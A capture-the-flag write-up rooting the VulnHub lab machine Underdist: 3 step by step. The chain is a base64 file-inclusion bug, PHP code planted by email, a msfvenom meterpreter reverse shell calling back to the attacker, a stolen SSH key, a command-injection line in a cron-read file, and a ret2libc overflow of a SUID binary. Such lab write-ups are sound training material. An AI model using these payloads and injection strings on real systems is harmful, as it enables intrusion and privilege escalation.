published on in writeup
tags: underdist

Underdist: 3

Underdist: 3 was a weekend challenge being run by the Underc0de group. I didn’t take part in the event, but the VM found its way onto VulnHub. On a quiet Saturday evening, I thought I’d give it a go (because that’s how rock-n-roll I am).

Nmap

[email protected]:~$ sudo nmap -n -sS -A -p- 192.168.56.103

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey:
|   1024 a9:b1:ec:a1:b4:14:e9:56:0d:ff:b4:63:75:b4:a3:2c (DSA)
|   2048 5e:ab:cd:93:1c:cb:16:86:71:2e:b3:b1:1f:57:c9:03 (RSA)
|_  256 bb:87:6c:13:30:5b:22:19:65:5e:ca:f9:e9:4f:bb:0b (ECDSA)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: Underdist, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=Underdist
| Not valid before: 2014-10-21T23:27:03+00:00
|_Not valid after:  2024-10-18T23:27:03+00:00
|_ssl-date: 2015-01-03T14:58:07+00:00; -2s from local time.
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).

The SSH service was out straight away, as only keys can be used to login.

[email protected]:~$ ssh 192.168.56.102
Permission denied (publickey).

Local File Inclusion

Browsing to port 80, you see some cool ASCII art.

__  __              __                   __               __                        __         __    
/\ \/\ \            /\ \                 /\ \  __         /\ \__                   /'__`\     /'__`\  
\ \ \ \ \    ___    \_\ \     __   _ __  \_\ \/\_\    ____\ \ ,_\                 /\_\L\ \   /\ \/\ \ 
\ \ \ \ \ /' _ `\  /'_` \  /'__`\/\`'__\/'_` \/\ \  /',__\\ \ \/       _______   \/_/_\_<_  \ \ \ \ \
  \ \ \_\ \/\ \/\ \/\ \L\ \/\  __/\ \ \//\ \L\ \ \ \/\__, `\\ \ \_     /\______\    /\ \L\ \__\ \ \_\ \
   \ \_____\ \_\ \_\ \___,_\ \____\\ \_\\ \___,_\ \_\/\____/ \ \__\    \/______/    \ \____/\_\\ \____/
    \/_____/\/_/\/_/\/__,_ /\/____/ \/_/ \/__,_ /\/_/\/___/   \/__/                  \/___/\/_/ \/___/

But looking at the source code, you find the comment: <!--<a href="v.php?a=YXNjaWkxLnR4dA==">foo</a>-->

If you browse to that URL, you see some 404 ASCII art.

   _____  _______      _____ 
  /  |  | \   _  \    /  |  |
/   |  |_/  /_\  \  /   |  |_
/    ^   /\  \_/   \/    ^   /
\____   |  \_____  /\____   |
     |__|        \/      |__|

    
               NOT FOUND.

The string YXNjaWkxLnR4dA== looks very much like an encoded string, most likely base64. You can decode this:

[email protected]:~$ echo -en 'YXNjaWkxLnR4dA==' | base64 -d
ascii1.txt

This suggests that v.php is including the file ascii1.txt, maybe we can force it to include other files too?

[email protected]:~$ echo -en '../../../../etc/passwd' | base64
Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

[email protected]:~$ curl http://192.168.56.103/v.php?a=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
dovecot:x:102:106:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:103:65534:Dovecot login user,,,:/nonexistent:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
debian-spamd:x:105:107::/var/lib/spamassassin:/bin/sh
underdist:x:1000:1000:underdist,,,:/home/underdist:/bin/bash
postfix:x:106:109::/var/spool/postfix:/bin/false
cuervo:x:1001:1001:,,,:/home/cuervo:/bin/bash
smmta:x:107:111:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:108:112:Mail Submission Program,,,:/var/lib/sendmail:/bin/false

The next stage is to leverage this LFI to read more files on the system, looking for a way in. It’s a little bit cumbersome to manually encode the filename and then cURL it; so I wrote an LFIshell script to automate it.

#!/bin/bash

if [ "$#" -lt 1 ]; then
        echo "Usage: $0 file"
        exit 1
fi

curl='/usr/bin/curl'
url='http://192.168.56.103'
lfi='v.php?a='
file=`echo -en ../../../..$1|/usr/bin/base64`

curl $url/$lfi$file

My plan was to poison the apache access/error logs with PHP code, that I would be able to execute via the LFI. However, they are not readable by the www-data user.

I eventually turned my attention to the SMTP service. I took a list of users from /etc/passwd, cut -d ':' -f1 >> users and tried to enumerate valid users.

[email protected]:~/vulnhub/underdist-3$ smtp-user-enum -t 192.168.56.102 -U users

Every user came back as being valid, including www-data. I found I was able to email the www-data user and read the content back via the LFI.

[email protected]:~$ nc 192.168.56.102 25
220 Underdist ESMTP Postfix (Debian/GNU)
HELO underdist
250 Underdist
MAIL from:rasta
250 2.1.0 Ok
RCPT to:www-data
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
this is a test!
.
250 2.0.0 Ok: queued as 3B91F8535
[email protected]:~/vulnhub/underdist-3$ ./LFIshell.sh /var/mail/www-data

From [email protected]  Sat Jan  3 14:42:01 2015
Return-Path: <[email protected]>
X-Original-To: www-data
Delivered-To: [email protected]
Received: from underdist (unknown [192.168.56.101])
     by Underdist (Postfix) with SMTP id 3B91F8535
     for <www-data>; Sat,  3 Jan 2015 14:41:46 -0300 (ART)

this is a test!

PHP Shell

I was now able to email www-data with PHP reverse shellcode and execute with the LFI.

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw | base64 | tr -d '\n'

I wrote the exploit into a python script to automate the deployment.

#!/usr/bin/env python

import socket

target = '192.168.56.103'
port = 25

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

payload = "<?php eval(base64_decode('Izw/[...snip...]KTsK')); ?>"

s.send('HELO underdist\r\n')
s.send('MAIL from:rasta\r\n')
s.send('RCPT to:www-data\r\n')
s.send('data\r\n')
s.send(payload + '\r\n.\r\n')
[email protected]:~$ sudo msfcli multi/handler payload=php/meterpreter/reverse_tcp lhost=192.168.56.101 lport=4444 E

[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...
[email protected]:~/vulnhub/underdist-3$ ./LFIshell.sh /var/mail/www-data
[*] Sending stage (40551 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.103:34683) at 2015-01-03 19:55:28 +0000

meterpreter > sysinfo
Computer    : Underdist
OS          : Linux Underdist 3.2.0-4-486 #1 Debian 3.2.63-2 i686
Meterpreter : php/php

Private Key

Now that I had a shell on the system, I could browse the filesystem properly and straight away, I found a funny directory.

meterpreter > pwd
/var/www
meterpreter > ls

Listing: /var/www
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40755/rwxr-xr-x   4096  dir   2001-12-31 11:21:16 +0000  ascii
40755/rwxr-xr-x   4096  dir   2001-12-31 12:17:57 +0000  b_gd214dg
100644/rw-r--r--  1254  fil   2001-12-31 11:35:36 +0000  index.html
100644/rw-r--r--  282   fil   2001-12-31 11:36:49 +0000  v.php

meterpreter > ls b_gd214dg

Listing: b_gd214dg
==================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100755/rwxr-xr-x  1675  fil   2001-12-31 12:17:18 +0000  foo.backup

The Meterpreter shell wasn’t fully functional, I couldn’t drop into a shell or download foo.backup. But since it’s available via apache, I used wget.

This file turned out to be a private SSH key, which I was able to use with cuervo.

[email protected]:~/vulnhub/underdist-3$ wget http://192.168.56.103/b_gd214dg/foo.backup -O foo.backup

[email protected]:~/vulnhub/underdist-3$ file foo.backup
foo.backup: PEM RSA private key

[email protected]:~/vulnhub/underdist-3$ chmod 400 foo.backup 
[email protected]:~/vulnhub/underdist-3$ ssh [email protected] -i foo.backup

[email protected]:~$

Cronping

underdist's home directory is (partially) readable.

[email protected]:~$ ls -l /home
drwx------ 3 cuervo    cuervo    4096 oct 27 12:56 cuervo
drwxr-xr-x 4 underdist underdist 4096 oct 27 11:55 underdist

[email protected]:~$ ls -l /home/underdist/
-rwxr-xr-x 1 underdist underdist 541 oct 27 11:46 cronping.py
-rwxrwxrwx 1 underdist underdist  80 oct 27 13:12 ips.txt

From the filename, we can infer that cronping.py is periodically executed via a cronjob. Because of the poor file permissions of the files, we can read them both and even modify ips.txt.

Reviewing cronping.py, I saw that it reads in a list of IP address from ips.txt and passes them into the popen python function to ping the addresses.

p=os.popen('ping -c 1 -w 1 %s|grep received|cut -d " " -f 4' % (c), "r")

None of the input is sanitised, so ips.txt can be modified to include arbitrary code exection in popen.

I wrote 127.0.0.1;cp /bin/sh /tmp/sh; chmod 4777 /tmp/sh into ips.txt, sat back and…

[email protected]:/home/underdist$ ls -l /tmp/
-rwsrwxrwx 1 underdist underdist 97284 ene  3 17:08 sh

[email protected]:/home/underdist$ /tmp/sh
$ whoami
underdist

I created .ssh/authorzed_keys with my public key in underdist's home directory for SSH access.

Echo

Also within /home/underdist is a ‘hidden’ directory which can only be accessed by underdist.

drwx------ 2 underdist underdist 4096 oct 27 12:56 .bin

Within which, is a SUID binary owned by root.

-rwsr-xr-x 1 root      root      4986 oct 27 12:56 echo
[email protected]:~/.bin$ ./echo test
test

Running the binary through strings shows that strcpy is being used. Maybe we can find an overflow to exploit…

[email protected]:~/.bin$ ./echo $(python -c 'print ("A" * 500)')
AAAA[...snip...]AAAA
ViolaciĆ³n de segmento

My Spanish isn’t too good, but think I understand that the binary segfaults :) and I confirmed that I could overwrite EIP.

(gdb) r $(python -c 'print ("A" * 500)')
Starting program: /home/underdist/.bin/echo $(python -c 'print ("A" * 500)')
AAAA[...snip...]AAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

There is next to no protection on the box or binary.

[email protected]:~/.bin$ cat /proc/sys/kernel/randomize_va_space
0

[email protected]:~/.bin$ ./checksec.sh --file echo

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   echo

ret2libc

Even though there’s no NX (allowing one to include shellcode directly in the exploit), I find the ret2libc technique easier and quicker to get working.

First, determine the offset to overwrite EIP.

0x6b41316b
[*] Exact match at offset 304

(gdb) r $(python -c 'print ("A" * 304 + "B" * 4)')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
$1 = {<text variable, no debug info>} 0xb7ec56b0 <system>
$2 = {<text variable, no debug info>} 0xb7eb8f80 <exit>

The structure of my exploit shall be: Padding + system() + exit() + /bin/sh

For the padding, I’ll use NOPs (304 to write up to EIP) and EIP will be overwritten with the address for system(). System() needs two arguments: an exit address (you don’t need a real address for this, you can just fill it with junk) and an address which contains the string of whatever you want to execute (I want /bin/sh).

I’ll put the string /bin/sh into an environmental variable and obtain it’s address in memory using this C program.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	if(!argv[1])
		exit(1);
	printf("%#x\n", getenv(argv[1]));
	return 0;
}
[email protected]:~/.bin$ export binsh=/bin/sh
[email protected]:~/.bin$ ./addr binsh
0xbffff954

Now I can piece my exploit together.

[email protected]:~/.bin$ ./echo $(python -c 'print ("\x90" * 304) + "\xb0\x56\xec\xb7" + "\x80\x8f\xeb\xb7" + "\x54\xf9\xff\xbf"')
# id; whoami
uid=1000(underdist) gid=1000(underdist) euid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(underdist)
root

Flag



                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

              
               http://underc0de.org
    


Felicidades H4x0r! resolviste el reto!

Mandame tu solucionario a: [email protected]